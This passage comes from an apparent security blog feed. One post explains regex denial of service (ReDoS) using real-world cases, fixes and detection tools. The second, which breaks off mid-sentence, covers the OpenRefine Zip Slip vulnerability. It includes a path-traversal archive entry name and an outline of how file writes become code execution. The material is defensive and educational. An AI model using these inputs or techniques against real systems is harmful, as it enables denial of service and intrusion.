match&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Put together, the expression looks for one or more whitespace characters at the start of a line or one or more whitespace characters at the end of a line. It was being used to trim whitespace from the beginning or end of a line.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This works great if the string begins or ends with a whitespace character. However, if a string ends with a lot of space characters and then a non-space character it will cause an issue. For Stack Overflow, a post that contained around 20,000 unbroken whitespace characters, but did not begin or end with one, caused the issue.&lt;/p&gt;&lt;h3&gt;Why is it a problem?&lt;/h3&gt;&lt;p&gt;Let&amp;#x27;s investigate why this was an issue with an example that is easier to see. The regular expression &lt;code&gt;/a+$/&lt;/code&gt; checks for a string that has 1 or more &amp;quot;a&amp;quot; characters at the end (it&amp;#x27;s easier to see the character &amp;quot;a&amp;quot; instead of whitespace).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Consider the string &amp;quot;aaaaab&amp;quot;. We can see immediately that this doesn&amp;#x27;t match, but that&amp;#x27;s not how a regular expression engine works. It matches the first &amp;quot;a&amp;quot; then the &lt;code&gt;+&lt;/code&gt; quantifier tells it to match as many more as it can, so it matches the next four characters all the way up until the &amp;quot;b&amp;quot;. Because it met a &amp;quot;b&amp;quot; and not the end of the line the match fails.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(aaaaa)b&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But the evaluation isn&amp;#x27;t done yet. The engine backtracks to where it started the match, discards the first &amp;quot;a&amp;quot; and starts again with the second &amp;quot;a&amp;quot;. Now it matches the next three characters, meets the &amp;quot;b&amp;quot; and fails the match.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;a(aaaa)b&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It then backtracks again, starting with the third &amp;quot;a&amp;quot; and repeats for the fourth and fifth as well.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;aa(aaa)b
aaa(aa)b
aaaa(a)b&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once it exhausts all the possible starting points it finally decides there is no match and the expression fails completely.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2937be51-2e05-4881-9d9a-254cb6755507/quadratic-regex.gif&quot; /&gt;&lt;p&gt;For each &amp;quot;a&amp;quot; we add to the string, the entire length of the string needs to be checked one more time. This makes the complexity of checking this string &lt;code&gt;O(n&lt;sup&gt;2&lt;/sup&gt;)&lt;/code&gt; or quadratic time.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On a small string, this is fine. It takes 22 steps to check &amp;quot;aaaaab&amp;quot;, 29 steps to check &amp;quot;aaaaaab&amp;quot; and 37 steps to check &amp;quot;aaaaaaab&amp;quot;. But when you have 20,000 characters to check, like Stack Overflow did, it takes about 200 million steps and that is enough to keep a server hanging a long time. You can &lt;a href=&quot;https://regex101.com/r/GBsWLQ/1&quot;&gt;check this out in the regex101 debugger&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;JavaScript examples&lt;/h3&gt;&lt;p&gt;Stack Overflow is built in .NET, but this is the sort of thing that can affect a JavaScript project too. For example, the &lt;a href=&quot;https://www.npmjs.com/package/http-cache-semantics&quot;&gt;http-cache-semantics&lt;/a&gt; package used to use the regular expression &lt;code&gt;/\s*,\s*/&lt;/code&gt; to split the Cache-Control header by commas and trim the whitespace on each side. From what we know about backtracking now, any amount of whitespace would start this search and as long as there wasn&amp;#x27;t a comma at the end of the whitespace, it would start the backtracking. Send a request with a Cache-Control header full of whitespace and you could crash any server that used a vulnerable version of this package.&lt;/p&gt;&lt;h3&gt;Solving backtracking issues&lt;/h3&gt;&lt;p&gt;In these cases, &lt;em&gt;the use of the &lt;code&gt;*&lt;/code&gt; or &lt;code&gt;+&lt;/code&gt; quantifiers followed by another character or a boundary is the problem&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The regular expressions &lt;code&gt;/\s*,/&lt;/code&gt; and &lt;code&gt;/[\s\u200c]*$/&lt;/code&gt; both give the engine license to keep checking whitespace characters as long as they are present and not followed by a comma or the end of the line, and then backtrack once the match fails.&lt;/p&gt;&lt;h4&gt;Limit the expression or the input&lt;/h4&gt;&lt;p&gt;There&amp;#x27;s no perfect way to solve this problem with just regular expressions. One option is to put a limit on how many characters the expression will match, which will limit how long it can spend trying to make matches. Instead of &lt;code&gt;/\s*,/&lt;/code&gt; try &lt;code&gt;/\s{0,64},/&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alternatively, if possible, you can restrict the length of the string input.&lt;/p&gt;&lt;h4&gt;Use other string methods&lt;/h4&gt;&lt;p&gt;Finally, in both the Stack Overflow and http-cache-semantics cases, the regular expression was used to trim whitespace from the string. In JavaScript, you can avoid the problem altogether by using the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/trim&quot;&gt;string function &lt;code&gt;trim&lt;/code&gt;&lt;/a&gt;. This is how it was fixed in http-cache-semantics. The &lt;a href=&quot;https://github.com/kornelski/http-cache-semantics/commit/560b2d8ef452bbba20ffed69dc155d63ac757b74&quot;&gt;exact fix can be seen in GitHub&lt;/a&gt;, but a simplified version of the original code looked like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const parts = header.split(/\s*,\s*/);

for (let part of parts) {
  // do stuff with part of header
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The code still uses a regular expression to split the header string on commas, but the job of trimming the whitespace is now done by the &lt;code&gt;trim&lt;/code&gt; function:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const parts = header.split(/,/);

for (let part of parts) {
  part = part.trim();
  // do stuff with part of header
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sometimes regular expressions are not the answer.&lt;/p&gt;&lt;h2&gt;Catastrophic backtracking&lt;/h2&gt;&lt;p&gt;Regular backtracking over very long strings of almost-matches is bad, but we can come up with something far worse in a regular expression. Let&amp;#x27;s take a look at another example.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In &lt;a href=&quot;https://www.npmjs.com/package/node-fetch&quot;&gt;node-fetch&lt;/a&gt;, a function to check whether an origin was trustworthy used a regular expression to aid in detecting whether a URL is trustworthy. One of the tests used the regular expression &lt;code&gt;/^(.+\.)*localhost$/&lt;/code&gt;. Let&amp;#x27;s break this one down:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Wildcard&quot;&gt;&lt;code&gt;.&lt;/code&gt; is the wildcard character&lt;/a&gt;, it matches any character in a string&lt;/li&gt;&lt;li&gt;&lt;code&gt;.+ &lt;/code&gt;means we match the wildcard one or more times&lt;/li&gt;&lt;li&gt;&lt;code&gt;\.&lt;/code&gt; is a literal period character&lt;/li&gt;&lt;li&gt;the group &lt;code&gt;(.+\.)&lt;/code&gt; is a collection of one or more characters followed by a period&lt;/li&gt;&lt;li&gt;&lt;code&gt;^(.+\.)* &lt;/code&gt;means that the group must be at the start of the string (&lt;code&gt;^&lt;/code&gt;) and can occur zero or more times (&lt;code&gt;*&lt;/code&gt;)&lt;/li&gt;&lt;li&gt;finally, &lt;code&gt;localhost$&lt;/code&gt; is the literal string &amp;quot;localhost&amp;quot; and it must appear at the end of the string (&lt;code&gt;$&lt;/code&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The test was to see whether the URL host was either &amp;quot;localhost&amp;quot; or was a subdomain ending in &amp;quot;.localhost&amp;quot;, for example &amp;quot;dev.localhost&amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The issue here is twofold. Firstly, the group &lt;code&gt;(.+\.)&lt;/code&gt; has an overlap in it. The wildcard character can match the period as well. The second problem is that both the &lt;code&gt;+&lt;/code&gt; and &lt;code&gt;*&lt;/code&gt; quantifiers are greedy and will try to match as much as they can. This initially causes the wildcard to match everything in a string, before backtracking to match the period. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Consider the string &amp;quot;a.a.a.a.a.a.a&amp;quot;. The expression will find the last period and then go on to check whether the group exists zero or more times before looking for the ending, the literal &amp;quot;localhost&amp;quot;. It doesn&amp;#x27;t find it, so the first attempt at matching fails and these are the characters considered:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(a.a.a.a.a.a.)a&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now the backtracking starts, the first group matches all but one of the &amp;quot;a.&amp;quot; strings and then the &lt;code&gt;*&lt;/code&gt; quantifier causes that group to match the last &amp;quot;a.&amp;quot; string.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(a.a.a.a.a.)(a.)a&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The last character doesn&amp;#x27;t match &amp;quot;localhost&amp;quot;, so we backtrack again. Now the options start to build up. We match the first four &amp;quot;a.&amp;quot; strings, and the next two can either be matched together or in two groups.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(a.a.a.a.)(a.a.)a
(a.a.a.a.)(a.)(a.)a&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This fails, so we backtrack again. Now we match the first three &amp;quot;a.&amp;quot; strings and the last three can be matched in four different ways.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(a.a.a.)(a.a.a.)a
(a.a.a.)(a.a.)(a.)a
(a.a.a.)(a.)(a.a.)a
(a.a.a.)(a.)(a.)(a.)a&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is the start of an exponential sequence; the complexity is O(2&lt;sup&gt;n&lt;/sup&gt;). When the number of options that a regular expression has to consider grows like this it is known as catastrophic backtracking.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bf521943-f4f7-42b7-9405-0c0b23c3583a/exponential-regex.gif&quot; /&gt;&lt;p&gt;With the previous quadratic example, we needed thousands of characters to cause an issue. When the regular expression&amp;#x27;s worst case is exponential, we don&amp;#x27;t need a very long string to cause the evaluation to take seconds or even minutes. You can check &lt;a href=&quot;https://regex101.com/r/xe6Npi/1&quot;&gt;this example out in the regex101 debugger&lt;/a&gt;. If you keep adding &amp;quot;a.&amp;quot; to the string, eventually the app will tell you it has detected catastrophic backtracking.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can also &lt;a href=&quot;https://regexper.com/#%2F%5E%28.%2B%5C.%29*localhost%24%2F&quot;&gt;visualise what a regular expression looks like using the tool Regexper&lt;/a&gt;. This particular expression looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9b4c6c2d-bf91-4b15-8a11-4b66423d03e9/regexp-localhost.png&quot; /&gt;&lt;p&gt;You can see there&amp;#x27;s a double loop, an internal one over &amp;quot;any character&amp;quot; and an outer one around the group. Since, &amp;quot;any character&amp;quot; also matches &amp;quot;.&amp;quot; the overlap means the group can be evaluated in many different ways, as we have seen. That is what causes the catastrophic backtracking we saw above.&lt;/p&gt;&lt;h3&gt;Testing your regular expressions&lt;/h3&gt;&lt;p&gt;I built &lt;a href=&quot;https://philnash.github.io/regexp-timer&quot;&gt;a tool to investigate the time it takes to evaluate regular expressions against a string&lt;/a&gt;. It comes with some examples, &lt;a href=&quot;https://philnash.github.io/regexp-timer/#regex=%5E%28.%2B%5C.%29*localhost%24&amp;string=http%3A%2F%2Fa.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a&quot;&gt;including this one&lt;/a&gt;. Note, the regular expression is evaluated in a web worker, which is why the interface doesn&amp;#x27;t freeze. You may also find different browsers behave in different ways. In my testing, it seems that Safari has implemented some way to detect if the evaluation is taking too long and shortcuts the failure, which is great in general, but not useful to see this effect. Meanwhile, Firefox has a 5-second time out after which it throws an error. Chromium-based browsers appear to be happy to run the code for as long as it takes.&lt;/p&gt;&lt;h3&gt;In real life&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/&quot;&gt;CloudFlare outage&lt;/a&gt; was an example of catastrophic failure. Their regex was: &lt;code&gt;(?:(?:\&amp;quot;|&amp;#x27;|\]|\}|\\|\d|(?:nan|infinity|true|false|null|undefined|symbol|math)|\`|\-|\+)+[)]*;?((?:\s|-|~|!|{}|\|\||\+)*.*(?:.*=.*)))&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It looks long and complicated, but if we &lt;a href=&quot;https://regexper.com/#%28%3F%3A%28%3F%3A%5C%22%7C&apos;%7C%5C%5D%7C%5C%7D%7C%5C%5C%7C%5Cd%7C%28%3F%3Anan%7Cinfinity%7Ctrue%7Cfalse%7Cnull%7Cundefined%7Csymbol%7Cmath%29%7C%5C%60%7C%5C-%7C%5C%2B%29%2B%5B%29%5D*%3B%3F%28%28%3F%3A%5Cs%7C-%7C~%7C!%7C%7B%7D%7C%5C%7C%5C%7C%7C%5C%2B%29*.*%28%3F%3A.*%3D.*%29%29%29&quot;&gt;visualise it&lt;/a&gt; we can see that we have two loops of &amp;quot;any character&amp;quot; next to each other. Those can match in multiple ways, similar to how we saw with the node-fetch example above.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f2bc24cd-bcdb-413f-8859-a6f5cd1c1671/regexp-cloudflare.png&quot; /&gt;&lt;p&gt;In this case, CloudFlare was trying to &lt;a href=&quot;https://blog.cloudflare.com/cloudflare-outage/&quot;&gt;use this regular expression to block inline JavaScript&lt;/a&gt;. While it isn&amp;#x27;t made particularly clear in the report, my guess is that this regular expression was running against the body of a request or response. It doesn&amp;#x27;t take much to satisfy the start of the expression and get to the part where the two &amp;quot;any character&amp;quot; loops start and that&amp;#x27;s where the problem lies. In fact, you can start this expression matching with a single item from the left side of the visualisation, any digit or a quotation mark. If the input is long enough beyond that character, which request or response bodies likely are, the &lt;code&gt;.*&lt;/code&gt; will greedily consume the rest of the string and eventually succumb to a catastrophic backtrack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/#appendix-about-regular-expression-backtracking&quot;&gt;appendix to the outage explains further&lt;/a&gt;, but I recommend reading the whole article to understand how the regular expression triggered a set of events that caused the outage, and also how CloudFlare worked to return service to normal.&lt;/p&gt;&lt;h4&gt;More overlaps&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://blog.superhuman.com/how-to-eliminate-regular-expression-denial-of-service/&quot;&gt;Superhuman also had an issue with catastrophic backtracking&lt;/a&gt;. In their case they were trying to match email addresses using the expression &lt;code&gt;/(&amp;quot;[^&amp;quot;]*&amp;quot;|[^@])*@[^@]*/&lt;/code&gt;. The issue here lies in the group &lt;code&gt;(&amp;quot;[^&amp;quot;]*&amp;quot;|[^@])*&lt;/code&gt; which allows for either a string surrounded by quotation marks or a string that contains anything but the @ symbol zero or more times. Since the quotation mark itself is a string that doesn&amp;#x27;t include the @ symbol, there is an overlap between these choices, which causes the evaluation to branch in a similar fashion to the node-fetch example. &lt;a href=&quot;https://philnash.github.io/regexp-timer/#regex=%28%22%5B%5E%22%5D*%22%7C%5B%5E%40%5D%29*%40%28%5B%5E%40%5D*%29&amp;string=%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22%22&quot;&gt;A long string of quotation marks&lt;/a&gt; will take a long time to evaluate.&lt;/p&gt;&lt;h3&gt;Solving catastrophic backtracking issues&lt;/h3&gt;&lt;p&gt;Catastrophic backtracking is caused by patterns that can produce different matches on the same input. So, look out for expressions like:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;P*&lt;/code&gt; or &lt;code&gt;P*?&lt;/code&gt; (the lazy operator), where &lt;code&gt;P&lt;/code&gt; is a pattern with many options for matching, like the wildcard &lt;code&gt;.*&lt;/code&gt;&lt;/li&gt;&lt;li&gt;a disjunction with overlapping groups, like &lt;code&gt;(a|ab)*&lt;/code&gt;&lt;/li&gt;&lt;li&gt;consecutive patterns that overlap, watching out for optional separators, like &lt;code&gt;.*-?.*&lt;/code&gt; which can be reduced to &lt;code&gt;.*.*&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To fix catastrophic backtracking you can do a few things:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Refactor nested qualifiers so that an inner group can&amp;#x27;t be matched by an outer group. The node-fetch example could replace the group &lt;code&gt;(.+\.)&lt;/code&gt; with &lt;code&gt;([^.]+\.)&lt;/code&gt; so that there is no longer an overlap&lt;/li&gt;&lt;li&gt;If you are splitting a string up, take multiple passes with simpler regular expressions&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.regular-expressions.info/catastrophic.html&quot;&gt;regular-expressions.info suggests using atomic grouping&lt;/a&gt; (&lt;code&gt;(?&amp;gt;pattern)&lt;/code&gt;) to avoid catastrophic backtracking. An &lt;a href=&quot;https://www.regular-expressions.info/atomic.html&quot;&gt;atomic group&lt;/a&gt; avoids backtracking, once it has matched a group the engine won&amp;#x27;t go back into it to try a different way. Sadly, JavaScript doesn&amp;#x27;t have atomic groups built in, but you can &lt;a href=&quot;https://blog.stevenlevithan.com/archives/mimic-atomic-groups&quot;&gt;fake atomic groups using a lookahead and a backreference&lt;/a&gt;. Fixing the node-fetch expression this way looks like this: &lt;code&gt;^(?=((.+\.)*))\1localhost$&lt;/code&gt;. You can read &lt;a href=&quot;https://javascript.info/regexp-catastrophic-backtracking#lookahead-to-the-rescue&quot;&gt;more about how using lookaheads and backreferences work here&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Finally, you can just avoid regular expressions. The &lt;a href=&quot;https://github.com/node-fetch/node-fetch/commit/28802387292baee467e042e168d92597b5bbbe3d&quot;&gt;actual fix to node-fetch swapped the regular expression for two string checks&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;One other alternative to consider is using a regular expression engine that doesn&amp;#x27;t use backtracking. Google has built one called &lt;a href=&quot;https://github.com/google/re2/&quot;&gt;re2&lt;/a&gt; and there are &lt;a href=&quot;https://www.npmjs.com/package/re2&quot;&gt;Node.js bindings for it&lt;/a&gt;. There are &lt;a href=&quot;https://www.npmjs.com/package/re2#user-content-limitations-things-re2-does-not-support&quot;&gt;some limitations&lt;/a&gt; to using it though; it doesn&amp;#x27;t support lookahead or backreferences and there are some expressions that will evaluate differently compared to the built-in &lt;code&gt;RegExp&lt;/code&gt;, &lt;a href=&quot;https://github.com/uhop/node-re2#mismatched-behavior&quot;&gt;check the README for details&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Regular expressions are complicated&lt;/h2&gt;&lt;p&gt;That&amp;#x27;s been quite a journey. Learning that those seemingly innocent regular expressions may be hiding catastrophic, server and interface collapsing issues within them is an eye-opener. Thankfully there are ways to fix the issues, but the difficulty is spotting them. There are tools available that can help though.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; scan for &lt;a href=&quot;https://rules.sonarsource.com/javascript/tag/regex/RSPEC-5852/&quot;&gt;potentially dangerous regular expressions and highlight them as security hotspots&lt;/a&gt;&lt;/li&gt;&lt;li&gt;After finding they had written a bad regular expression, Superhuman put together the tool &lt;a href=&quot;https://regex.rip/&quot;&gt;regex.rip&lt;/a&gt; which attempts to detect dangerous expressions&lt;/li&gt;&lt;li&gt;I&amp;#x27;ve pointed to the tool &lt;a href=&quot;https://regex101.com/&quot;&gt;regex101.com&lt;/a&gt; a couple of times in this post, it explains regular expressions and the debugger can help you see how an expression is being evaluated&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://regexper.com/&quot;&gt;Regexper&lt;/a&gt; is great for visualising expressions and spotting whether you have too many loops or overlapping conditions&lt;/li&gt;&lt;li&gt;eslint-plugin-regexp is an ESLint plugin that includes &lt;a href=&quot;https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-super-linear-backtracking.html&quot;&gt;a rule to report potentially dangerous backtracking&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, remember the tips in this article, watch out for wildcard characters, keep an eye on the &lt;code&gt;+&lt;/code&gt; and &lt;code&gt;*&lt;/code&gt; quantifiers, and when you are testing, recall that catastrophic backtracking occurs when your expression fails to match, so don&amp;#x27;t just pay attention to the success cases.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Regular expressions can turn up anywhere in your codebase and often interact with user input, validating or parsing it. Any of your regular expressions may be vulnerable to ReDoS, so go check up on your regular expressions and let me know if they are all OK.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Unzipping Dangers: OpenRefine Zip Slip Vulnerability]]></title><description><![CDATA[Extracting archives can be very dangerous. Read more about a critical Zip Slip vulnerability SonarCloud detected in the open-source application OpenRefine.]]></description><link>https://www.sonarsource.com/blog/openrefine-zip-slip</link><guid isPermaLink="false">0478a29e-8ec7-59ad-be5e-75f2423640d1</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Wed, 27 Sep 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;SonarCloud discovered a critical &lt;strong&gt;Zip Slip vulnerability&lt;/strong&gt; in &lt;a href=&quot;https://openrefine.org/&quot;&gt;OpenRefine&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;If a user running a vulnerable version is tricked into importing a malicious project, an attacker could &lt;strong&gt;execute arbitrary code&lt;/strong&gt; on the user’s machine.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; not only discovered the vulnerability but also provides valuable guidance on how to mitigate this kind of vulnerability and prevent common pitfalls.&lt;/li&gt;&lt;li&gt;The vulnerability was fixed with &lt;a href=&quot;https://github.com/OpenRefine/OpenRefine/releases/tag/3.7.4&quot;&gt;version 3.7.4&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;OpenRefine Zip Slip Vulnerability: Introduction&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://openrefine.org/&quot;&gt;OpenRefine&lt;/a&gt; is a Java-based open-source data cleaning and transformation tool. This includes loading different types of data, cleaning it, converting it, and extending it. All of this can be done from the browser by accessing OpenRefine’s web interface. With almost 10k stars and ~1.8k forks, it is one of the more popular &lt;a href=&quot;https://github.com/OpenRefine/OpenRefine&quot;&gt;GitHub projects&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our continuous effort to help secure open-source projects and improve our Clean Code solution, we regularly scan open-source projects via SonarCloud and evaluate the findings. In fact, everybody can also do it – &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; is a free code analysis product for open-source projects, regardless of their size or language.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the findings reported by SonarCloud was a Zip Slip vulnerability in OpenRefine that made us curious. A Zip Slip vulnerability is caused by inadequate path validation when extracting archives, which may allow attackers to overwrite existing files or extract files to unintended locations.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we outline the impact of this vulnerability and explain how this and other code vulnerabilities can be detected with SonarCloud. Furthermore, we explain how attackers could exploit the vulnerability and describe a typical pitfall developers may fall into when trying to fix it.&lt;/p&gt;&lt;h2&gt;OpenRefine Zip Slip Vulnerability: Impact&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;OpenRefine version 3.7.3 and below&lt;/strong&gt; is prone to a &lt;strong&gt;Zip Slip vulnerability&lt;/strong&gt; in the project import feature (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-37476&quot;&gt;CVE-2023-37476&lt;/a&gt;). Although OpenRefine is designed to only run locally on a user&amp;#x27;s machine, an attacker can trick a user into importing a malicious project file. Once this file is imported, the attacker can &lt;strong&gt;execute arbitrary code&lt;/strong&gt; on the user’s machine:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/1UM4zqbeHV0&quot;&gt;Demonstration of OpenRefine vulnerability on a test instance&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The vulnerability was fixed with OpenRefine version 3.7.4.&lt;/p&gt;&lt;h2&gt;OpenRefine Zip Slip Vulnerability: Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we dive into the technical details of the vulnerability.&lt;/p&gt;&lt;h3&gt;Vulnerability Discovery&lt;/h3&gt;&lt;p&gt;SonarCloud is our cloud-based code analysis service. It uses state-of-the-art techniques in static code analysis to find quality issues, bugs, and security vulnerabilities in your code. With the recently added &lt;a href=&quot;https://www.sonarsource.com/blog/deeper-sast-uncovers-hidden-security-vulnerabilities/&quot;&gt;deeper SAST&lt;/a&gt; technology it is even possible to uncover hidden security vulnerabilities introduced by the usage of third-party dependencies.&lt;/p&gt;&lt;p&gt;During our regular scan of public open-source projects, the engine reported the following issue in OpenRefine (&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;sonarsourceSecurity=path-traversal-injection&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_openrefine-blogpost&amp;open=AYor5e83kIKtnaVkUaX9&quot;&gt;see it yourself on SonarCloud&lt;/a&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ede243bd-2798-45ff-9d27-f66fdf593f8c/sonarcloud.gif&quot; /&gt;&lt;p&gt;As clearly visible by the highlighted code flow, the &lt;code&gt;untar&lt;/code&gt; method iterates over all files within an archive and uses the &lt;code&gt;tarEntry.getName()&lt;/code&gt; method to create a new &lt;code&gt;File&lt;/code&gt; object, which is then passed to &lt;code&gt;FileOutputStream&lt;/code&gt; to extract this file. This introduces a Zip Slip vulnerability allowing an attacker to write files outside the intended folder (&lt;code&gt;destDir&lt;/code&gt;) by creating an archive with a file, e.g., named &lt;code&gt;../../../../tmp/pwned&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerable &lt;code&gt;untar&lt;/code&gt; method is called from the &lt;code&gt;FileProjectManager.importProject&lt;/code&gt; method, which handles the import of existing Refine project files:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;OpenRefine/main/src/com/google/refine/io/FileProjectManager.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class FileProjectManager extends ProjectManager {
  // ...
  public void importProject(...) {
    // ..
    untar(destDir, inputStream);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Projects can either be imported by directly uploading an archive or by providing the URL of an archive. This is what the feature looks like on the web interface:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/69d9d760-adc8-4b0c-b654-7dea12f0783e/openrefine-import.png&quot; /&gt;&lt;p&gt;The corresponding endpoint is called &lt;code&gt;/command/core/import-project&lt;/code&gt;. Although this and all other endpoints of OpenRefine do not require authentication, OpenRefine is supposed to run locally on a user’s machine. Additionally, the employed CSRF protection prevents malicious JavaScript code executed in the context of another website from performing unauthorized actions. In order to exploit the vulnerability, an attacker could still trick a user into importing a malicious project.&lt;/p&gt;&lt;h3&gt;Exploitation via Auto-Reload&lt;/h3&gt;&lt;p&gt;The vulnerability gives attackers a strong primitive: writing files with arbitrary content to an arbitrary location on the filesystem. For applications running with &lt;code&gt;root&lt;/code&gt; privileges, there are dozens of possibilities to turn this into arbitrary code execution on the operating system: adding a new user to the &lt;code&gt;passwd&lt;/code&gt; file, adding an SSH key, creating a cron job, and more. For applications running with the permissions of a low-privilege user, the opportunities are more limited but still occur – earlier this year, we documented a &lt;a href=&quot;https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/&quot;&gt;unique way to achieve code execution by writing a site-specific configuration hook,&lt;/a&gt; which is limited to Python applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Besides these generic techniques, there might be features of the application itself, which could be leveraged by attackers. In the case of OpenRefine, the application implements an auto-reload feature, which regularly scans the &lt;code&gt;WEB-INF&lt;/code&gt; folder for changes and restarts the &lt;code&gt;WebAppContext&lt;/code&gt; when a file is 